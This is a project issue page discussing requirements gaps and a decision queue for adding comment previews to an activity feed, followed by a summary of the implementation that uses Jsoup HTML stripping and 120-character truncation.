## 📋 Elicit — Requirements Engineer ### Observations The issue is well-structured for a backlog item of this size — it has a clear problem statement, explicit security notes, and a useful UX note. The acceptance criteria are mostly testable. A few precision gaps will create ambiguity at implementation time. **Gap 1 — "~120 chars" is not a testable criterion.** `max ~120 chars` has no definitive boundary. A test for "exactly 120 chars input → not truncated, 121 chars input → truncated to 120" cannot be written against `~`. Pick a number and remove the tilde. **Recommend: 120 exactly.** **Gap 2 — Deleted comment behaviour is unspecified.** The audit log permanently records `COMMENT_ADDED` events. Comments can be deleted after posting. The spec does not say what `commentPreview` should contain when the referenced comment no longer exists. Without this, different implementers could choose: - `null` (silent) - empty string `""` - a placeholder like `"[deleted]"` - an error/warning in logs **Recommend:** specify `null` — the feed item still links to the document; the missing preview is a graceful degradation. Add an AC: *"If the comment has been deleted, `commentPreview` is `null`."* **Gap 3 — `MENTION_CREATED` scope not addressed.** The issue specifies the preview for `COMMENT_ADDED` rows. `MENTION_CREATED` rows display as `variant === 'for-you'` in `ChronikRow.svelte`, not `variant === 'comment'`. They also carry a `commentId` in the DTO. The issue is silent on whether those rows should also show a preview paragraph. If the answer is "not this issue," the AC should say so: *"Preview is shown only for `variant === 'comment'` rows; `for-you` rows are out of scope for this issue."* **Gap 4 — Empty-after-stripping case.** A comment containing only an image (`<img src="...">`) would produce an empty string after HTML stripping. The AC doesn't specify how an empty preview should be rendered (show nothing? show `„…"`?). The UX note from Leonie (preserve the placeholder height to avoid layout shift) suggests the visual fallback should be `„…"`, but it's not written into the spec. ### Recommendations Suggested AC additions before implementation starts: - [ ] Truncation limit is exactly **120 characters** (post-strip, before any ellipsis suffix) - [ ] When the referenced comment has been deleted, `commentPreview` is `null` - [ ] When `commentPreview` is `null` or empty, the frontend shows the existing placeholder `„…"` (no layout shift) - [ ] Preview is shown only for `variant === 'comment'` (`COMMENT_ADDED` kind); `MENTION_CREATED` rows are out of scope ### Open Decisions _(omit this section entirely if none)_ - **`MENTION_CREATED` rows:** Should they also show a comment preview? They carry a `commentId` and the same `commentPreview` field would be populated. The variant computation assigns them `'for-you'` today — showing a preview there too would require a UI change to the `for-you` variant. Decide before implementation so the frontend work is scoped correctly. - **Truncation ellipsis:** Should the 120-char truncation append an ellipsis (`…`)? Some implementations do `text.substring(0, 117) + "…"` to signal the text is cut. Others truncate at the word boundary. Neither is specified — pick one.
marcel commented 2026-05-07 16:29:08 +02:00
Author
Owner
Copy Link

🗳️ Decision Queue — Action Required

3 decisions need your input before implementation starts.

Spec Precision

  • Exact truncation limit — The AC says "max ~120 chars." Tests require an exact boundary. Recommend 120 exactly; just remove the tilde and confirm. (Raised by: Sara, Elicit)

  • Truncation ellipsis — Should truncated previews end with …? Option A: text.substring(0, 117) + "…" (visually signals cut text, costs 3 chars). Option B: hard cut at 120 with no suffix (simpler, already matches line-clamp visual truncation which adds its own …). Since line-clamp handles the visual ellipsis in CSS, Option B is recommended — the CSS already communicates truncation. (Raised by: Elicit)

Scope

  • MENTION_CREATED rows: in or out? Mention rows carry a commentId and would automatically get commentPreview populated on the backend once the field exists. However, in ChronikRow.svelte they render as variant === 'for-you' — the preview paragraph is only shown for variant === 'comment'. Two options: (A) explicitly out of scope for this issue — add an AC saying so; (B) also show a preview in the for-you variant — requires a small additional UI change. Recommend: call it out of scope now, open a follow-up. (Raised by: Leonie, Elicit)
## 🗳️ Decision Queue — Action Required _3 decisions need your input before implementation starts._ ### Spec Precision - **Exact truncation limit** — The AC says "max ~120 chars." Tests require an exact boundary. Recommend **120 exactly**; just remove the tilde and confirm. _(Raised by: Sara, Elicit)_ - **Truncation ellipsis** — Should truncated previews end with `…`? Option A: `text.substring(0, 117) + "…"` (visually signals cut text, costs 3 chars). Option B: hard cut at 120 with no suffix (simpler, already matches `line-clamp` visual truncation which adds its own `…`). Since `line-clamp` handles the visual ellipsis in CSS, **Option B is recommended** — the CSS already communicates truncation. _(Raised by: Elicit)_ ### Scope - **`MENTION_CREATED` rows: in or out?** Mention rows carry a `commentId` and would automatically get `commentPreview` populated on the backend once the field exists. However, in `ChronikRow.svelte` they render as `variant === 'for-you'` — the preview paragraph is only shown for `variant === 'comment'`. Two options: (A) explicitly out of scope for this issue — add an AC saying so; (B) also show a preview in the `for-you` variant — requires a small additional UI change. **Recommend: call it out of scope now, open a follow-up.** _(Raised by: Leonie, Elicit)_
marcel commented 2026-05-07 19:00:42 +02:00
Author
Owner
Copy Link

Implemented in PR #475.

What was done:

  • CommentService.findDataByIds() — new batch method returning CommentData(annotationId, preview) for a set of comment IDs in a single findAllById call. findAnnotationIdsByIds now delegates to it, so existing callers are unaffected.
  • stripAndTruncate() — Jsoup DOM-based HTML stripping (Jsoup.parse(html).text()) + hard cut at 120 chars. No regex, no XSS surface.
  • ActivityFeedItemDTO — @Nullable String commentPreview added as last field (OpenAPI NOT_REQUIRED).
  • DashboardService.getActivity() — uses findDataByIds, populates commentPreview per activity row.
  • ChronikRow.svelte — {item.commentPreview ?? '„…"'} (plain text binding); aria-label on the <a> for screen readers.
  • All changes TDD: failing tests written first, then minimum code to green.
Implemented in PR #475. **What was done:** - `CommentService.findDataByIds()` — new batch method returning `CommentData(annotationId, preview)` for a set of comment IDs in a single `findAllById` call. `findAnnotationIdsByIds` now delegates to it, so existing callers are unaffected. - `stripAndTruncate()` — Jsoup DOM-based HTML stripping (`Jsoup.parse(html).text()`) + hard cut at 120 chars. No regex, no XSS surface. - `ActivityFeedItemDTO` — `@Nullable String commentPreview` added as last field (OpenAPI `NOT_REQUIRED`). - `DashboardService.getActivity()` — uses `findDataByIds`, populates `commentPreview` per activity row. - `ChronikRow.svelte` — `{item.commentPreview ?? '„…"'}` (plain text binding); `aria-label` on the `<a>` for screen readers. - All changes TDD: failing tests written first, then minimum code to green.
Sign in to join this conversation.
No Branch/Tag Specified
Branches Tags
Labels
Clear labels
P0-critical
Blocks a core user journey, causes data loss, or is a security/accessibility barrier. Work on this before P1+.
 P1-high
Significant friction on a main user journey; workaround exists but is non-obvious. Next up after P0.
 P2-medium
Noticeable improvement; doesn't block anything; schedule opportunistically.
 P3-later
Cosmetic or parking-lot work; fine to stay open indefinitely.
 audit
Read-only audit / assessment work; produces a report rather than changing code
 bug
Something isn't working
 cleanup
Removal of dead code, vague comments, naming violations, and scratch artifacts
 collaboration
We want to extend the family archive to have more collaboration tools
 conversation
descoped
We will do that later
 devops
documentation
README, ARCHITECTURE, GLOSSARY, CONTRIBUTING, per-domain docs
 epic
Marker for epic-level issues that group multiple child issues
 feature
file-upload
legibility
Codebase Legibility Refactor — preparing the codebase for human evaluation and bus-factor reduction
 notification
person
phase-1: security
Security hygiene — must be done first
 phase-2: container-images
Production-ready multi-stage Docker images
 phase-3: prod-compose
Production compose overlay + Caddy reverse proxy
 phase-4: spring-prod-profile
Spring Boot production configuration profile
 phase-5: backups
Database and object storage backup strategy
 phase-6: deployment-docs
.env.example, DEPLOYMENT.md, runbook
 phase-7: monitoring
Prometheus, Loki, Grafana, Alertmanager
 refactor
Code restructuring without behaviour change
 security
test
ui
UI/UX and accessibility issues
 user
No Label P2-medium feature
Milestone
No items
No Milestone
Projects
Clear projects
No project
Assignees
Clear assignees
Jens marcel
No Assignees
1 Participants
Notifications
Due Date
No due date set.
Dependencies

No dependencies set.

Reference: marcel/familienarchiv#454
Delete Branch "%!s()"

Deleting a branch is permanent. Although the deleted branch may continue to exist for a short time before it actually gets removed, it CANNOT be undone in most cases. Continue?